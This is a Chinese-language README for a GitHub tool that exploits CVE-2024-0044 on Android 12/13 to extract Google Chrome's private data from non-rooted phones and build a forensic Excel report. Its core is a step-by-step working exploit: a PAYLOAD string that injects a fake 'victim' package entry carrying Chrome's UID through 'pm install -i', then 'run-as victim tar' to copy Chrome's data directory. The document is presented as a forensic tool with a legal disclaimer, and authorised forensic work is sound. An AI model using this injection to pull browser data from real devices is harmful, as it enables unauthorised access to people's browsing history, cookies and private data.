🔍 Chrome 取证 - CVE-2024-0044

👤 作者信息

作者： JackTekno
GitHub： github.com/JackTekno

📋 概述

该工具利用 CVE-2024-0044（Run-as）漏洞，绕过非 root 的 Android 12/13 设备上的权限限制，从而能够取证提取 Google Chrome 数据。该工具可解析原始 SQLite 数据库并生成全面的分析报告。

🔄 处理流程

📊 功能与输出

该工具生成一份全面的 Excel 报告（result_chrome_forensic.xlsx），包含以下工作表：

🛠️ 前置条件

硬件要求

• 📱 Android 手机（Android 12/13）
• 💻 电脑（Linux/Windows/Mac）

测试环境

• 🐧 操作系统：Linux UOS 20 专业版

软件要求

• 🐍 Python 3.x
• 📲 ADB（Android 调试桥）
• 📦 虚拟 APK 文件（例如 F-Droid.apk）

🚀 安装

1. 克隆仓库

   root@kitploit:~

   git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
   cd Chrome-Forensic_CVE-2024-0044
   

2. 安装依赖

   root@kitploit:~

   pip install -r requirements.txt
   

🔓 数据获取指南

第 1 步：准备设备

1. 进入 设置 → 关于手机
2. 连续点击 版本号 7 次以启用开发者选项
3. 进入 设置 → 系统 → 开发者选项
4. 启用 USB 调试
5. 通过 USB 将手机连接到电脑并授权连接

第 2 步：准备漏洞利用

# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk

第 3 步：查找目标 UID

adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)

第 4 步：执行漏洞利用

⚠️ 将 10129 替换为第 3 步中得到的实际 Chrome UID

adb shell

# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk

第 5 步：提取数据

# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar

# Exit ADB Shell
exit

第 6 步：将数据拉取到电脑

adb pull /data/local/tmp/chrome.tar .

第 7 步：解包数据

在项目文件夹中解压 'chrome.tar' 文件。您无需手动移动文件。Python 脚本会在解压后的文件夹中自动找到数据库文件。

tar -xf chrome.tar

💻 使用方法

运行取证分析工具：

python3 chrome_forensic.py

该工具将分析数据库文件，并在同一目录下生成 result_chrome_forensic.xlsx。

⚖️ 法律免责声明

⚠️ 重要提示： 此工具仅用于教育和经授权的取证分析目的。

• 仅可对您拥有或已获得明确书面许可分析的设备使用
• 未经授权访问数字设备可能违反您所在司法辖区的法律
• 作者不对误用此工具承担任何责任

🤝 贡献

欢迎贡献！请随时提交 Pull Request。

📄 许可证

本项目采用 GNU 通用公共许可证 v3.0 授权。 详情请参阅 LICENSE 文件。

👤 致谢

该采集方法的概念验证（PoC）由 Tinyhack.com 总结并分享。